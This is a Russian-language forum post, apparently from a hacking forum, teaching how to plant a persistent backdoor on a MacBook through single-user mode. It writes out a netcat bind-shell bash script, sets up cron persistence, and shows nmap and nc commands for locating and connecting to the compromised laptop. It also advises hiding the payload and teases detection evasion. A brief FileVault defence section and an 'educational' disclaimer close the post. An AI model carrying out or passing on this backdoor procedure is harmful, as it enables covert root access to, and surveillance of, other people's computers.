Серая Бэкдор на любом MacBook’e за 5 минут

che.gevara

Заблокированные
Статус
offline
Регистрация
28.01.2019
Сообщения
190
Репутация
190
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
Шаг 1. Включите однопользовательский режим
Чтобы начать эту атаку, будет применен однопользовательский режим (одна из особенностей macOS). Этот режим был разработан для устранения неполадок, отладки ошибок загрузки и устранения проблем с дисками, не считая многих других административных задач. К сожалению, в этот режим очень легко попасть, благодаря чему он подвергается постоянной атаке со стороны хакеров.

Чтобы получить доступ к однопользовательскому режиму, включите целевой MacBook, одновременно удерживая кнопки Command + S на клавиатуре. Продолжайте удерживать обе клавиши, пока на экране не появится белый текст.

hacking-macos-configure-backdoor-anyones-macbook.w1456.jpg



Через несколько секунд хакер получит доступ ко всем файлам на MacBook и терминалу root’а — никаких паролей не требуется. Вот и все. Однако, если целевое устройство действительно использует шифрование FileVault, то загрузка с помощью Command + S будет запрашивать пароль для входа в систему. Если это так, то это устройство неуязвимо для этой атаки.

Шаг 2. Проверьте диск
Находясь в однопользовательском терминале, сначала используйте fsck, утилиту для проверки файловых систем macOS на наличие неисправностей. Выполнение этой команды не используется для компрометации устройства, но ее нельзя пропускать. В нашем случае выполнение команды fsck завершилось менее чем за 60 секунд, при использовании на твердотельном SSD-диске емкостью 250 ГБ.
hacking-macos-configure-backdoor-anyones-macbook.w1456-1.jpg




Шаг 3. Монтирование жесткого диска
Жесткий диск необходимо примонтировать с правами на чтение и запись, что позволит злоумышленникам переносить вредоносные файлы на ноутбук. Это можно сделать с помощью команды ниже. Имея возможность записывать данные на диск, можно создать netcat-бэкдор.

hacking-macos-configure-backdoor-anyones-macbook.w1456-2.jpg




Шаг 4. Создание полезной нагрузки Netcat
Уменьшение устойчивости к взлому забэкдоренных устройств, по мере их перемещения между Wi-Fi сетям в разных частях мира, выходит за рамки этой статьи, поэтому следите за обновлениями. А пока мы покажем, как подключиться к MacBook’у с установленным бэкдором в общей сети Wi-Fi.

Для простоты мы сохраним постоянно выполняющийся скрипт в каталоге /etc/ и назовем файл payload. В реальных ситуациях атаки было бы целесообразно спрятать файл в менее очевидном каталоге с менее очевидным именем.

Для создания файла payload можно использовать редактор Nano с помощью команды ниже:
Введите следующий BASH-скрипт в терминал с открытым nano, затем сохраните файл и выйдите, нажав Ctrl + X, затем Y, а потом Enter. Скрипт придется вводить вручную в однопользовательском режиме, поэтому мы старались максимально его упростить. Этот скрипт проделывает несколько вещей, поэтому мы опишем его действие для читателей, которые не знакомы с BASH.
#!/bin/bash
n=$(ps aux | grep -o [1]234)

if [[ $n = «» ]]; then
mkfifo f
nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1
fi

Netcat-слушатель откроет порт 1234 на устройстве с macOS. Первая строка (n=$(ps aux | grep -o [1]234)) создает переменную n, которая проверяет, открыт ли порт 1234. Обнаружение открытого порта достигается с помощью команды ps, инструмента, используемого для просмотра запущенных фоновых процессов.

Следующая строка (if [[ $n = «» ]]; then) является началом оператора if, который говорит, что если переменная n (порт 1234) не найдена, то mkfifo — инструмент, используемый для создания «именованного туннеля», создаст файл с именем f. Имя файла здесь абсолютно произвольно и для простоты используется название «f».

Следующей командой mkfifo является команда netcat (nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1), которая открывает порт 1234 на каждом доступном интерфейсе (0.0.0.0), и использует файл f для туннелирования команд терминала на забэкдоренное устройство и обратно.

Шаг 5. Использование Cron для выполнения полезной нагрузки
Со скриптом netcat мы покончили. Далее для планирования выполнения BASH-скрипта (файл payload) каждые 60 секунд мы будем использовать crontab, функцию cron. Для этого можно использовать команду ниже:
env EDITOR=nano crontab -e
Откроется новый терминал с nano. Введите в nano эту команду, затем сохраните и закройте nano:

Если вам нужно использовать задания cron с интервалом, отличным от 60 секунд, то почитайте статью Ole Michelsen об использовании crontab в macOS (ранее Mac OS X).

Шаг 6. Повышение прав
Последний шаг — нужно установить максимальные права на файл payload, используя следующую команду chmod:

Шаг 7. Завершение работы Mac
Когда вы все закончите, введите команду ниже в консоли, чтобы выключить ноутбук:

Вот и все, что касается создания бэкдоров для устройств с macOS. Когда владелец ноутбука его включит, netcat-слушатель будет выполняться каждые 60 секунд (если он еще не был запущен) и это позволит хакеру получить доступ к устройству в той же Wi-Fi-сети.

Жертвы этой атаки, которые не просматривают открытые порты и фоновые службы на предмет подозрительной активности, не смогут обнаружить этот бэкдор. В следующих статьях мы покажем, как улучшить этот скрипт и обфусцировать его сигнатуру чтобы избежать обнаружения, так что следите за обновлениями.

Шаг 8. Подключитесь к Mac’у с бэкдором
С любого компьютера в сети для поиска IP-адреса устройства на маршрутизаторе можно использовать Nmap.
nmap -p1234,65534 -O 192.168.0.1/24

Для определения операционной системы (флаг -O) требуется, по крайней мере, один открытый и один закрытый порт, поэтому один или несколько рандомных портов должны быть включены в эту команду. В нашем примере netcat был настроен на прослушивание 1234-го порта, так что номер этого порта был включен в эту команду. Если в сети есть несколько устройств Apple, то макбук с бэкдором будет единственным устройством с портом 1234 в «открытом» состоянии.

hacking-macos-configure-backdoor-anyones-macbook.w1456-3.jpg



После определения IP-адреса устройства с бэкдором подключитесь к нему с помощью команды netcat. Сделать это довольно просто:

nc 192.168.0.65 1234

Шаг 9. Исправьте неправильную конфигурацию

Как было сказано ранее, когда дело доходит до пост-эксплуатации, то лучше «жить на подножном корму» и для дальнейшей компрометации целевого устройства использовать те программы и инструменты,которые вы найдете в операционной системе,.

После установления соединения с netcat-слушателем шелл, скорее всего, будет предельно примитивным и, скорее всего, он не будет знать, где находятся программы в ОС. Например, использование ifconfig для просмотра интерфейсов вывалится с ошибкой выполнения «ifconfig: command not found».

hacking-macos-configure-backdoor-anyones-macbook.w1456-4.jpg



Чтобы исправить это, используйте приведенную ниже команду source:

hacking-macos-configure-backdoor-anyones-macbook.w1456-5.jpg




Использование ifconfig теперь работает так, как ожидалось.

Шаг 10. Определение забэкдоренного устройства
Теперь можно начать просмотр программного и аппаратного обеспечения. Примером этого может быть использование встроенной команды system_profiler от Apple для сбора информации для полезных нагрузок и эксплоитов. Команда uname также может использоваться для просмотра информации о версии ядра.

hacking-macos-configure-backdoor-anyones-macbook.w1456-6.jpg



Следите за будущими статьями, где мы расскажем, как вернуть устойчивость к атакам уже взломанных MacBook’ов, когда они перемещаются между Wi-Fi сетями из любой точки мира, как обфусцировать netcat в целях уклонения от обнаружения и как создавать и использовать продвинутые полнофункциональные полезные нагрузки.

Как защитить себя от атак с помощью однопользовательского режима
Если вы не хотите, чтобы хакер проделал все это на вашем компьютере, то ответ прост: включите FileVault. Полноценное шифрование Apple помогает предотвратить несанкционированный доступ к информации на жестких дисках и усложняет получение доступа к однопользовательскому режиму.

FileVault можно включить, перейдя в «Системные настройки», затем «Безопасность и конфиденциальность» и кликнуть на «Включить FileVault» (вам может потребоваться сначала разблокировать настройки). По завершении этой процедуры MacBook перезагрузится и будет требовать пароль для разблокировки компьютера при каждом запуске Mac. Ни одна учетная запись не сможет логиниться автоматически, а для доступа к однопользовательскому режиму также потребуется пароль.

hacking-macos-configure-backdoor-anyones-macbook.w1456-7.jpg



Вы также не должны оставлять ваш компьютер без присмотра, особенно в тех местах, где хакер может получить к нему физический доступ.

Отказ от ответственности: Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор и издатель не несут ответственность за любой причиненный вред или ущерб.